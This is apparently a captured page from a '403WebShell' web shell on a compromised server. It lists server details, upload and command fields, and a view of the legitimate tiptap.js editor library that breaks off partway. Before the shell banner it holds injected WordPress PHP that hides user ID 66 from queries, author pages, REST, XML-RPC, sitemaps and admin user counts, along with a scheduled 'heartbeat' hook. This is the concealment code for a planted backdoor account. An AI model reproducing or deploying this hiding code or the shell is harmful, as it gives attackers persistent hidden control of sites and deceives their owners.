add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } ); 403WebShell
403Webshell
Server IP : 167.235.224.122  /  Your IP : 216.73.216.110
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux newplayground 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:33:11 UTC 2026 aarch64
User : deploy ( 1000)
PHP Version : 8.4.23
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/html/jungly/node_modules/tiptap/dist/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/jungly/node_modules/tiptap/dist/tiptap.js
    /*!
    * tiptap v1.32.1
    * (c) 2021 überdosis GbR (limited liability)
    * @license MIT
    */
  
(function (global, factory) {
  typeof exports === 'object' && typeof module !== 'undefined' ? factory(exports, require('prosemirror-state'), require('prosemirror-view'), require('prosemirror-model'), require('prosemirror-dropcursor'), require('prosemirror-gapcursor'), require('prosemirror-keymap'), require('prosemirror-commands'), require('prosemirror-inputrules'), require('tiptap-utils'), require('vue'), require('tiptap-commands')) :
  typeof define === 'function' && define.amd ? define(['exports', 'prosemirror-state', 'prosemirror-view', 'prosemirror-model', 'prosemirror-dropcursor', 'prosemirror-gapcursor', 'prosemirror-keymap', 'prosemirror-commands', 'prosemirror-inputrules', 'tiptap-utils', 'vue', 'tiptap-commands'], factory) :
  (global = global || self, factory(global.tiptap = {}, global.prosemirrorState, global.prosemirrorView, global.prosemirrorModel, global.prosemirrorDropcursor, global.prosemirrorGapcursor, global.prosemirrorKeymap, global.prosemirrorCommands, global.prosemirrorInputrules, global.tiptapUtils, global.Vue, global.tiptapCommands));
}(this, (function (exports, prosemirrorState, prosemirrorView, prosemirrorModel, prosemirrorDropcursor, prosemirrorGapcursor, prosemirrorKeymap, prosemirrorCommands, prosemirrorInputrules, tiptapUtils, Vue, tiptapCommands) { 'use strict';

  Vue = Vue && Object.prototype.hasOwnProperty.call(Vue, 'default') ? Vue['default'] : Vue;

  function camelCase (str) {
    return str.replace(/(?:^\w|[A-Z]|\b\w)/g, (word, index) => index === 0 ? word.toLowerCase() : word.toUpperCase()).replace(/\s+/g, '');
  }

  class ComponentView {
    constructor(component, {
      editor,
      extension,
      parent,
      node,
      view,
      decorations,
      getPos
    }) {
      this.component = component;
      this.editor = editor;
      this.extension = extension;
      this.parent = parent;
      this.node = node;
      this.view = view;
      this.decorations = decorations;
      this.isNode = !!this.node.marks;
      this.isMark = !this.isNode;
      this.getPos = this.isMark ? this.getMarkPos : getPos;
      this.captureEvents = true;
      this.dom = this.createDOM();
      this.contentDOM = this.vm.$refs.content;
    }

    createDOM() {
      const Component = Vue.extend(this.component);
      const props = {
        editor: this.editor,
        node: this.node,
        view: this.view,
        getPos: () => this.getPos(),
        decorations: this.decorations,
        selected: false,
        options: this.extension.options,
        updateAttrs: attrs => this.updateAttrs(attrs)
      };

      if (typeof this.extension.setSelection === 'function') {
        this.setSelection = this.extension.setSelection;
      }

      if (typeof this.extension.update === 'function') {
        this.update = this.extension.update;
      }

      this.vm = new Component({
        parent: this.parent,
        propsData: props
      }).$mount();
      return this.vm.$el;
    }

    update(node, decorations) {
      if (node.type !== this.node.type) {
        return false;
      }

      if (node === this.node && this.decorations === decorations) {
        return true;
      }

      this.node = node;
      this.decorations = decorations;
      this.updateComponentProps({
        node,
        decorations
      });
      return true;
    }

    updateComponentProps(props) {
      if (!this.vm._props) {
        return;
      } // Update props in component
      // TODO: Avoid mutating a prop directly.
      // Maybe there is a better way to do this?


      const originalSilent = Vue.config.silent;
      Vue.config.silent = true;
      Object.entries(props).forEach(([key, value]) => {
        this.vm._props[key] = value;
      }); // this.vm._props.node = node
      // this.vm._props.decorations = decorations

      Vue.config.silent = originalSilent;
    }

    updateAttrs(attrs) {
      if (!this.view.editable) {
        return;
      }

      const {
        state
      } = this.view;
      const {
        type
      } = this.node;
      const pos = this.getPos();
      const newAttrs = { ...this.node.attrs,
        ...attrs
      };
      const transaction = this.isMark ? state.tr.removeMark(pos.from, pos.to, type).addMark(pos.from, pos.to, type.create(newAttrs)) : state.tr.setNodeMarkup(pos, null, newAttrs);
      this.view.dispatch(transaction);
    } // prevent a full re-render of the vue component on update
    // we'll handle prop updates in `update()`


    ignoreMutation(mutation) {
      // allow leaf nodes to be selected
      if (mutation.type === 'selection') {
        return false;
      }

      if (!this.contentDOM) {
        return true;
      }

      return !this.contentDOM.contains(mutation.target);
    } // disable (almost) all prosemirror event listener for node views


    stopEvent(event) {
      if (typeof this.extension.stopEvent === 'function') {
        return this.extension.stopEvent(event);
      }

      const draggable = !!this.extension.schema.draggable; // support a custom drag handle

      if (draggable && event.type === 'mousedown') {
        const dragHandle = event.target.closest && event.target.closest('[data-drag-handle]');
        const isValidDragHandle = dragHandle && (this.dom === dragHandle || this.dom.contains(dragHandle));

        if (isValidDragHandle) {
          this.captureEvents = false;
          document.addEventListener('dragend', () => {
            this.captureEvents = true;
          }, {
            once: true
          });
        }
      }

      const isCopy = event.type === 'copy';
      const isPaste = event.type === 'paste';
      const isCut = event.type === 'cut';
      const isDrag = event.type.startsWith('drag') || event.type === 'drop';

      if (draggable && isDrag || isCopy || isPaste || isCut) {
        return false;
      }

      return this.captureEvents;
    }

    selectNode() {
      this.updateComponentProps({
        selected: true
      });
    }

    deselectNode() {
      this.updateComponentProps({
        selected: false
      });
    }

    getMarkPos() {
      const pos = this.view.posAtDOM(this.dom);
      const resolvedPos = this.view.state.doc.resolve(pos);
      const range = tiptapUtils.getMarkRange(resolvedPos, this.node.type);
      return range;
    }

    destroy() {
      this.vm.$destroy();
    }

  }

  class Emitter {
    // Add an event listener for given event
    on(event, fn) {
      this._callbacks = this._callbacks || {}; // Create namespace for this event

      if (!this._callbacks[event]) {
        this._callbacks[event] = [];
      }

      this._callbacks[event].push(fn);

      return this;
    }

    emit(event, ...args) {
      this._callbacks = this._callbacks || {};
      const callbacks = this._callbacks[event];

      if (callbacks) {
        callbacks.forEach(callback => callback.apply(this, args));
      }

      return this;
    } // Remove event listener for given event.
    // If fn is not provided, all event listeners for that event will be removed.
    // If neither is provided, all event listeners will be removed.


    off(event, fn) {
      if (!arguments.length) {
        this._callbacks = {};
      } else {
        // event listeners for the given event
        const callbacks = this._callbacks ? this._callbacks[event] : null;

        if (callbacks) {
          if (fn) {
            this._callbacks[event] = callbacks.filter(cb => cb !== fn); // remove specific handler
          } else {
            delete this._callbacks[event]; // remove all handlers
          }
        }
      }

      return this;
    }

  }

  class Extension {
    constructor(options = {}) {
      this.options = { ...this.defaultOptions,
        ...options
      };
    }

    init() {
      return null;
    }

    bindEditor(editor = null) {
      this.editor = editor;
    }

    get name() {
      return null;
    }

    get type() {
      return 'extension';
    }

    get defaultOptions() {
      return {};
    }

    get plugins() {
      return [];
    }

    inputRules() {
      return [];
    }

    pasteRules() {
      return [];
    }

    keys() {
      return {};
    }

  }

  class ExtensionManager {
    constructor(extensions = [], editor) {
      extensions.forEach(extension => {
        extension.bindEditor(editor);
        extension.init();
      });
      this.extensions = extensions;
    }

    get nodes() {
      return this.extensions.filter(extension => extension.type === 'node').reduce((nodes, {
        name,
        schema
      }) => ({ ...nodes,
        [name]: schema
      }), {});
    }

    get options() {
      const {
        view
      } = this;
      return this.extensions.reduce((nodes, extension) => ({ ...nodes,
        [extension.name]: new Proxy(extension.options, {
          set(obj, prop, value) {
            const changed = obj[prop] !== value;
            Object.assign(obj, {
              [prop]: value
            });

            if (changed) {
              view.updateState(view.state);
            }

            return true;
          }

        })
      }), {});
    }

    get marks() {
      return this.extensions.filter(extension => extension.type === 'mark').reduce((marks, {
        name,
        schema
      }) => ({ ...marks,
        [name]: schema
      }), {});
    }

    get plugins() {
      return this.extensions.filter(extension => extension.plugins).reduce((allPlugins, {
        plugins
      }) => [...allPlugins, ...plugins], []);
    }

    keymaps({
      schema
    }) {
      const extensionKeymaps = this.extensions.filter(extension => ['extension'].includes(extension.type)).filter(extension => extension.keys).map(extension => extension.keys({
        schema
      }));
      const nodeMarkKeymaps = this.extensions.filter(extension => ['node', 'mark'].includes(extension.type)).filter(extension => extension.keys).map(extension => extension.keys({
        type: schema[`${extension.type}s`][extension.name],
        schema
      }));
      return [...extensionKeymaps, ...nodeMarkKeymaps].map(keys => prosemirrorKeymap.keymap(keys));
    }

    inputRules({
      schema,
      excludedExtensions
    }) {
      if (!(excludedExtensions instanceof Array) && excludedExtensions) return [];
      const allowedExtensions = excludedExtensions instanceof Array ? this.extensions.filter(extension => !excludedExtensions.includes(extension.name)) : this.extensions;
      const extensionInputRules = allowedExtensions.filter(extension => ['extension'].includes(extension.type)).filter(extension => extension.inputRules).map(extension => extension.inputRules({
        schema
      }));
      const nodeMarkInputRules = allowedExtensions.filter(extension => ['node', 'mark'].includes(extension.type)).filter(extension => extension.inputRules).map(extension => extension.inputRules({
        type: schema[`${extension.type}s`][extension.name],
        schema
      }));
      return [...extensionInputRules, ...nodeMarkInputRules].reduce((allInputRules, inputRules) => [...allInputRules, ...inputRules], []);
    }

    pasteRules({
      schema,
      excludedExtensions
    }) {
      if (!(excludedExtensions instanceof Array) && excludedExtensions) return [];
      const allowedExtensions = excludedExtensions instanceof Array ? this.extensions.filter(extension => !excludedExtensions.includes(extension.name)) : this.extensions;
      const extensionPasteRules = allowedExtensions.filter(extension => ['extension'].includes(extension.type)).filter(extension => extension.pasteRules).map(extension => extension.pasteRules({
        schema
      }));
      const nodeMarkPasteRules = allowedExtensions.filter(extension => ['node', 'mark'].includes(extension.type)).filter(extension => extension.pasteRules).map(extension => extension.pasteRules({
        type: schema[`${extension.type}s`][extension.name],
        schema
      }));
      return [...extensionPasteRules, ...nodeMarkPasteRules].reduce((allPasteRules, pasteRules) => [...allPasteRules, ...pasteRules], []);
    }

    commands({
      schema,
      view
    }) {
      return this.extensions.filter(extension => extension.commands).reduce((allCommands, extension) => {
        const {
          name,
          type
        } = extension;
        const commands = {};
        const value = extension.commands({
          schema,
          ...(['node', 'mark'].includes(type) ? {
            type: schema[`${type}s`][name]
          } : {})
        });

        const apply = (cb, attrs) => {
          if (!view.editable) {
            return false;
          }

          view.focus();
          return cb(attrs)(view.state, view.dispatch, view);
        };

        const handle = (_name, _value) => {
          if (Array.isArray(_value)) {
            commands[_name] = attrs => _value.forEach(callback => apply(callback, attrs));
          } else if (typeof _value === 'function') {
            commands[_name] = attrs => apply(_value, attrs);
          }
        };

        if (typeof value === 'object') {
          Object.entries(value).forEach(([commandName, commandValue]) => {
            handle(commandName, commandValue);
          });
        } else {
          handle(name, value);
        }

        return { ...allCommands,
          ...commands
        };
      }, {});
    }

  }

  function injectCSS (css) {
    {
      const style = document.createElement('style');
      style.type = 'text/css';
      style.textContent = css;
      const {
        head
      } = document;
      const {
        firstChild
      } = head;

      if (firstChild) {
        head.insertBefore(style, firstChild);
      } else {
        head.appendChild(style);
      }
    }
  }

  class Mark extends Extension {
    constructor(options = {}) {
      super(options);
    }

    get type() {
      return 'mark';
    }

    get view() {
      return null;
    }

    get schema() {
      return null;
    }

    command() {
      return () => {};
    }

  }

  function minMax(value = 0, min = 0, max = 0) {
    return Math.min(Math.max(parseInt(value, 10), min), max);
  }

  class Node extends Extension {
    constructor(options = {}) {
      super(options);
    }

    get type() {
      return 'node';
    }

    get view() {
      return null;
    }

    get schema() {
      return null;
    }

    command() {
      return () => {};
    }

  }

  class Doc extends Node {
    get name() {
      return 'doc';
    }

    get schema() {
      return {
        content: 'block+'
      };
    }

  }

  class Paragraph extends Node {
    get name() {
      return 'paragraph';
    }

    get schema() {
      return {
        content: 'inline*',
        group: 'block',
        draggable: false,
        parseDOM: [{
          tag: 'p'
        }],
        toDOM: () => ['p', 0]
      };
    }

    commands({
      type
    }) {
      return () => tiptapCommands.setBlockType(type);
    }

  }

  class Text extends Node {
    get name() {
      return 'text';
    }

    get schema() {
      return {
        group: 'inline'
      };
    }

  }

  var css = ".ProseMirror {\n  position: relative;\n}\n\n.ProseMirror {\n  word-wrap: break-word;\n  white-space: pre-wrap;\n  -webkit-font-variant-ligatures: none;\n  font-variant-ligatures: none;\n}\n\n.ProseMirror pre {\n  white-space: pre-wrap;\n}\n\n.ProseMirror-gapcursor {\n  display: none;\n  pointer-events: none;\n  position: absolute;\n}\n\n.ProseMirror-gapcursor:after {\n  content: \"\";\n  display: block;\n  position: absolute;\n  top: -2px;\n  width: 20px;\n  border-top: 1px solid black;\n  animation: ProseMirror-cursor-blink 1.1s steps(2, start) infinite;\n}\n\n@keyframes ProseMirror-cursor-blink {\n  to {\n    visibility: hidden;\n  }\n}\n\n.ProseMirror-hideselection *::selection {\n  background: transparent;\n}\n\n.ProseMirror-hideselection *::-moz-selection {\n  background: transparent;\n}\n\n.ProseMirror-hideselection * {\n  caret-color: transparent;\n}\n\n.ProseMirror-focused .ProseMirror-gapcursor {\n  display: block;\n}\n";

  class Editor extends Emitter {
    constructor(options = {}) {
      super();
      this.defaultOptions = {
        editorProps: {},
        editable: true,
        autoFocus: null,
        extensions: [],
        content: '',
        topNode: 'doc',
        emptyDocument: {
          type: 'doc',
          content: [{
            type: 'paragraph'
          }]
        },
        useBuiltInExtensions: true,
        disableInputRules: false,
        disablePasteRules: false,
        dropCursor: {},
        enableDropCursor: true,
        enableGapCursor: true,
        parseOptions: {},
        injectCSS: true,
        onInit: () => {},
        onTransaction: () => {},
        onUpdate: () => {},
        onFocus: () => {},
        onBlur: () => {},
        onPaste: () => {},
        onDrop: () => {}
      };
      this.events = ['init', 'transaction', 'update', 'focus', 'blur', 'paste', 'drop'];
      this.init(options);
    }

    init(options = {}) {
      this.setOptions({ ...this.defaultOptions,
        ...options
      });
      this.focused = false;
      this.selection = {
        from: 0,
        to: 0
      };
      this.element = document.createElement('div');
      this.extensions = this.createExtensions();
      this.nodes = this.createNodes();
      this.marks = this.createMarks();
      this.schema = this.createSchema();
      this.plugins = this.createPlugins();
      this.keymaps = this.createKeymaps();
      this.inputRules = this.createInputRules();
      this.pasteRules = this.createPasteRules();
      this.view = this.createView();
      this.commands = this.createCommands();
      this.setActiveNodesAndMarks();

      if (this.options.injectCSS) {
        injectCSS(css);
      }

      if (this.options.autoFocus !== null) {
        this.focus(this.options.autoFocus);
      }

      this.events.forEach(name => {
        this.on(name, this.options[camelCase(`on ${name}`)] || (() => {}));
      });
      this.emit('init', {
        view: this.view,
        state: this.state
      }); // give extension manager access to our view

      this.extensions.view = this.view;
    }

    setOptions(options) {
      this.options = { ...this.options,
        ...options
      };

      if (this.view && this.state) {
        this.view.updateState(this.state);
      }
    }

    get builtInExtensions() {
      if (!this.options.useBuiltInExtensions) {
        return [];
      }

      return [new Doc(), new Text(), new Paragraph()];
    }

    get state() {
      return this.view ? this.view.state : null;
    }

    createExtensions() {
      return new ExtensionManager([...this.builtInExtensions, ...this.options.extensions], this);
    }

    createPlugins() {
      return this.extensions.plugins;
    }

    createKeymaps() {
      return this.extensions.keymaps({
        schema: this.schema
      });
    }

    createInputRules() {
      return this.extensions.inputRules({
        schema: this.schema,
        excludedExtensions: this.options.disableInputRules
      });
    }

    createPasteRules() {
      return this.extensions.pasteRules({
        schema: this.schema,
        excludedExtensions: this.options.disablePasteRules
      });
    }

    createCommands() {
      return this.extensions.commands({
        schema: this.schema,
        view: this.view
      });
    }

    createNodes() {
      return this.extensions.nodes;
    }

    createMarks() {
      return this.extensions.marks;
    }

    createSchema() {
      return new prosemirrorModel.Schema({
        topNode: this.options.topNode,
        nodes: this.nodes,
        marks: this.marks
      });
    }

    createState() {
      return prosemirrorState.EditorState.create({
        schema: this.schema,
        doc: this.createDocument(this.options.content),
        plugins: [...this.plugins, prosemirrorInputrules.inputRules({
          rules: this.inputRules
        }), ...this.pasteRules, ...this.keymaps, prosemirrorKeymap.keymap({
          Backspace: prosemirrorInputrules.undoInputRule
        }), prosemirrorKeymap.keymap(prosemirrorCommands.baseKeymap), ...(this.options.enableDropCursor ? [prosemirrorDropcursor.dropCursor(this.options.dropCursor)] : []), ...(this.options.enableGapCursor ? [prosemirrorGapcursor.gapCursor()] : []), new prosemirrorState.Plugin({
          key: new prosemirrorState.PluginKey('editable'),
          props: {
            editable: () => this.options.editable
          }
        }), new prosemirrorState.Plugin({
          props: {
            attributes: {
              tabindex: 0
            },
            handleDOMEvents: {
              focus: (view, event) => {
                this.focused = true;
                this.emit('focus', {
                  event,
                  state: view.state,
                  view
                });
                const transaction = this.state.tr.setMeta('focused', true);
                this.view.dispatch(transaction);
              },
              blur: (view, event) => {
                this.focused = false;
                this.emit('blur', {
                  event,
                  state: view.state,
                  view
                });
                const transaction = this.state.tr.setMeta('focused', false);
                this.view.dispatch(transaction);
              }
            }
          }
        }), new prosemirrorState.Plugin({
          props: this.options.editorProps
        })]
      });
    }

    createDocument(content, parseOptions = this.options.parseOptions) {
      if (content === null) {
        return this.schema.nodeFromJSON(this.options.emptyDocument);
      }

      if (typeof content === 'object') {
        try {
          return this.schema.nodeFromJSON(content);
        } catch (error) {
          console.warn('[tiptap warn]: Invalid content.', 'Passed value:', content, 'Error:', error);
          return this.schema.nodeFromJSON(this.options.emptyDocument);
        }
      }

      if (typeof content === 'string') {
        const htmlString = `<div>${content}</div>`;
        const parser = new window.DOMParser();
        const element = parser.parseFromString(htmlString, 'text/html').body.firstElementChild;
        return prosemirrorModel.DOMParser.fromSchema(this.schema).parse(element, parseOptions);
      }

      return false;
    }

    createView() {
      return new prosemirrorView.EditorView(this.element, {
        state: this.createState(),
        handlePaste: (...args) => {
          this.emit('paste', ...args);
        },
        handleDrop: (...args) => {
          this.emit('drop', ...args);
        },
        dispatchTransaction: this.dispatchTransaction.bind(this)
      });
    }

    setParentComponent(component = null) {
      if (!component) {
        return;
      }

      this.view.setProps({
        nodeViews: this.initNodeViews({
          parent: component,
          extensions: [...this.builtInExtensions, ...this.options.extensions]
        })
      });
    }

    initNodeViews({
      parent,
      extensions
    }) {
      return extensions.filter(extension => ['node', 'mark'].includes(extension.type)).filter(extension => extension.view).reduce((nodeViews, extension) => {
        const nodeView = (node, view, getPos, decorations) => {
          const component = extension.view;
          return new ComponentView(component, {
            editor: this,
            extension,
            parent,
            node,
            view,
            getPos,
            decorations
          });
        };

        return { ...nodeViews,
          [extension.name]: nodeView
        };
      }, {});
    }

    dispatchTransaction(transaction) {
      const newState = this.state.apply(transaction);
      this.view.updateState(newState);
      this.selection = {
        from: this.state.selection.from,
        to: this.state.selection.to
      };
      this.setActiveNodesAndMarks();
      this.emit('transaction', {
        getHTML: this.getHTML.bind(this),
        getJSON: this.getJSON.bind(this),
        state: this.state,
        transaction
      });

      if (!transaction.docChanged || transaction.getMeta('preventUpdate')) {
        return;
      }

      this.emitUpdate(transaction);
    }

    emitUpdate(transaction) {
      this.emit('update', {
        getHTML: this.getHTML.bind(this),
        getJSON: this.getJSON.bind(this),
        state: this.state,
        transaction
      });
    }

    resolveSelection(position = null) {
      if (this.selection && position === null) {
        return this.selection;
      }

      if (position === 'start' || position === true) {
        return {
          from: 0,
          to: 0
        };
      }

      if (position === 'end') {
        const {
          doc
        } = this.state;
        return {
          from: doc.content.size,
          to: doc.content.size
        };
      }

      return {
        from: position,
        to: position
      };
    }

    focus(position = null) {
      if (this.view.focused && position === null || position === false) {
        return;
      }

      const {
        from,
        to
      } = this.resolveSelection(position);
      this.setSelection(from, to);
      setTimeout(() => this.view.focus(), 10);
    }

    setSelection(from = 0, to = 0) {
      const {
        doc,
        tr
      } = this.state;
      const resolvedFrom = minMax(from, 0, doc.content.size);
      const resolvedEnd = minMax(to, 0, doc.content.size);
      const selection = prosemirrorState.TextSelection.create(doc, resolvedFrom, resolvedEnd);
      const transaction = tr.setSelection(selection);
      this.view.dispatch(transaction);
    }

    blur() {
      this.view.dom.blur();
    }

    getSchemaJSON() {
      return JSON.parse(JSON.stringify({
        nodes: this.extensions.nodes,
        marks: this.extensions.marks
      }));
    }

    getHTML() {
      const div = document.createElement('div');
      const fragment = prosemirrorModel.DOMSerializer.fromSchema(this.schema).serializeFragment(this.state.doc.content);
      div.appendChild(fragment);
      return div.innerHTML;
    }

    getJSON() {
      return this.state.doc.toJSON();
    }

    setContent(content = {}, emitUpdate = false, parseOptions) {
      const {
        doc,
        tr
      } = this.state;
      const document = this.createDocument(content, parseOptions);
      const selection = prosemirrorState.TextSelection.create(doc, 0, doc.content.size);
      const transaction = tr.setSelection(selection).replaceSelectionWith(document, false).setMeta('preventUpdate', !emitUpdate);
      this.view.dispatch(transaction);
    }

    clearContent(emitUpdate = false) {
      this.setContent(this.options.emptyDocument, emitUpdate);
    }

    setActiveNodesAndMarks() {
      this.activeMarks = Object.entries(this.schema.marks).reduce((marks, [name, mark]) => ({ ...marks,
        [name]: (attrs = {}) => tiptapUtils.markIsActive(this.state, mark, attrs)
      }), {});
      this.activeMarkAttrs = Object.entries(this.schema.marks).reduce((marks, [name, mark]) => ({ ...marks,
        [name]: tiptapUtils.getMarkAttrs(this.state, mark)
      }), {});
      this.activeNodes = Object.entries(this.schema.nodes).reduce((nodes, [name, node]) => ({ ...nodes,
        [name]: (attrs = {}) => tiptapUtils.nodeIsActive(this.state, node, attrs)
      }), {});
    }

    getMarkAttrs(type = null) {
      return this.activeMarkAttrs[type];
    }

    getNodeAttrs(type = null) {
      return { ...tiptapUtils.getNodeAttrs(this.state, this.schema.nodes[type])
      };
    }

    get isActive() {
      return Object.entries({ ...this.activeMarks,
        ...this.activeNodes
      }).reduce((types, [name, value]) => ({ ...types,
        [name]: (attrs = {}) => value(attrs)
      }), {});
    }

    registerPlugin(plugin = null, handlePlugins) {
      const plugins = typeof handlePlugins === 'function' ? handlePlugins(plugin, this.state.plugins) : [plugin, ...this.state.plugins];
      const newState = this.state.reconfigure({
        plugins
      });
      this.view.updateState(newState);
    }

    unregisterPlugin(name = null) {
      if (!name || !this.view.docView) {
        return;
      }

      const newState = this.state.reconfigure({
        plugins: this.state.plugins.filter(plugin => !plugin.key.startsWith(`${name}$`))
      });
      this.view.updateState(newState);
    }

    destroy() {
      if (!this.view) {
        return;
      }

      this.view.destroy();
    }

  }

  var EditorContent = {
    props: {
      editor: {
        default: null,
        type: Object
      }
    },
    watch: {
      editor: {
        immediate: true,

        handler(editor) {
          if (editor && editor.element) {
            this.$nextTick(() => {
              this.$el.appendChild(editor.element.firstChild);
              editor.setParentComponent(this);
            });
          }
        }

      }
    },

    render(createElement) {
      return createElement('div');
    },

    beforeDestroy() {
      this.editor.element = this.$el;
    }

  };

  class Menu {
    constructor({
      options
    }) {
      this.options = options;
      this.preventHide = false; // the mousedown event is fired before blur so we can prevent it

      this.mousedownHandler = this.handleClick.bind(this);
      this.options.element.addEventListener('mousedown', this.mousedownHandler, {
        capture: true
      });

      this.blurHandler = () => {
        if (this.preventHide) {
          this.preventHide = false;
          return;
        }

        this.options.editor.emit('menubar:focusUpdate', false);
      };

      this.options.editor.on('blur', this.blurHandler);
    }

    handleClick() {
      this.preventHide = true;
    }

    destroy() {
      this.options.element.removeEventListener('mousedown', this.mousedownHandler);
      this.options.editor.off('blur', this.blurHandler);
    }

  }

  function MenuBar (options) {
    return new prosemirrorState.Plugin({
      key: new prosemirrorState.PluginKey('menu_bar'),

      view(editorView) {
        return new Menu({
          editorView,
          options
        });
      }

    });
  }

  var EditorMenuBar = {
    props: {
      editor: {
        default: null,
        type: Object
      }
    },

    data() {
      return {
        focused: false
      };
    },

    watch: {
      editor: {
        immediate: true,

        handler(editor) {
          if (editor) {
            this.$nextTick(() => {
              editor.registerPlugin(MenuBar({
                editor,
                element: this.$el
              }));
              this.focused = editor.focused;
              editor.on('focus', () => {
                this.focused = true;
              });
              editor.on('menubar:focusUpdate', focused => {
                this.focused = focused;
              });
            });
          }
        }

      }
    },

    render() {
      if (!this.editor) {
        return null;
      }

      return this.$scopedSlots.default({
        focused: this.focused,
        focus: this.editor.focus,
        commands: this.editor.commands,
        isActive: this.editor.isActive,
        getMarkAttrs: this.editor.getMarkAttrs.bind(this.editor),
        getNodeAttrs: this.editor.getNodeAttrs.bind(this.editor)
      });
    }

  };

  function textRange(node, from, to) {
    const range = document.createRange();
    range.setEnd(node, to == null ? node.nodeValue.length : to);
    range.setStart(node, Math.max(from, 0));
    return range;
  }

  function singleRect(object, bias) {
    const rects = object.getClientRects();
    return !rects.length ? object.getBoundingClientRect() : rects[bias < 0 ? 0 : rects.length - 1];
  }

  function coordsAtPos(view, pos, end = false) {
    const {
      node,
      offset
    } = view.docView.domFromPos(pos);
    let side;
    let rect;

    if (node.nodeType === 3) {
      if (end && offset < node.nodeValue.length) {
        rect = singleRect(textRange(node, offset - 1, offset), -1);
        side = 'right';
      } else if (offset < node.nodeValue.length) {
        rect = singleRect(textRange(node, offset, offset + 1), -1);
        side = 'left';
      }
    } else if (node.firstChild) {
      if (offset < node.childNodes.length) {
        const child = node.childNodes[offset];
        rect = singleRect(child.nodeType === 3 ? textRange(child) : child, -1);
        side = 'left';
      }

      if ((!rect || rect.top === rect.bottom) && offset) {
        const child = node.childNodes[offset - 1];
        rect = singleRect(child.nodeType === 3 ? textRange(child) : child, 1);
        side = 'right';
      }
    } else {
      rect = node.getBoundingClientRect();
      side = 'left';
    }

    const x = rect[side];
    return {
      top: rect.top,
      bottom: rect.bottom,
      left: x,
      right: x
    };
  }

  class Menu$1 {
    constructor({
      options,
      editorView
    }) {
      this.options = { ...{
          element: null,
          keepInBounds: true,
          onUpdate: () => false
        },
        ...options
      };
      this.editorView = editorView;
      this.isActive = false;
      this.left = 0;
      this.bottom = 0;
      this.top = 0;
      this.preventHide = false; // the mousedown event is fired before blur so we can prevent it

      this.mousedownHandler = this.handleClick.bind(this);
      this.options.element.addEventListener('mousedown', this.mousedownHandler, {
        capture: true
      });

      this.focusHandler = ({
        view
      }) => {
        this.update(view);
      };

      this.options.editor.on('focus', this.focusHandler);

      this.blurHandler = ({
        event
      }) => {
        if (this.preventHide) {
          this.preventHide = false;
          return;
        }

        this.hide(event);
      };

      this.options.editor.on('blur', this.blurHandler);
    }

    handleClick() {
      this.preventHide = true;
    }

    update(view, lastState) {
      const {
        state
      } = view;

      if (view.composing) {
        return;
      } // Don't do anything if the document/selection didn't change


      if (lastState && lastState.doc.eq(state.doc) && lastState.selection.eq(state.selection)) {
        return;
      } // Hide the tooltip if the selection is empty


      if (state.selection.empty) {
        this.hide();
        return;
      } // Otherwise, reposition it and update its content


      const {
        from,
        to
      } = state.selection; // These are in screen coordinates
      // We can't use EditorView.cordsAtPos here because it can't handle linebreaks correctly
      // See: https://github.com/ProseMirror/prosemirror-view/pull/47

      const start = coordsAtPos(view, from);
      const end = coordsAtPos(view, to, true); // The box in which the tooltip is positioned, to use as base

      const parent = this.options.element.offsetParent;

      if (!parent) {
        this.hide();
        return;
      }

      const box = parent.getBoundingClientRect();
      const el = this.options.element.getBoundingClientRect(); // Find a center-ish x position from the selection endpoints (when
      // crossing lines, end may be more to the left)

      const left = (start.left + end.left) / 2 - box.left; // Keep the menuBubble in the bounding box of the offsetParent i

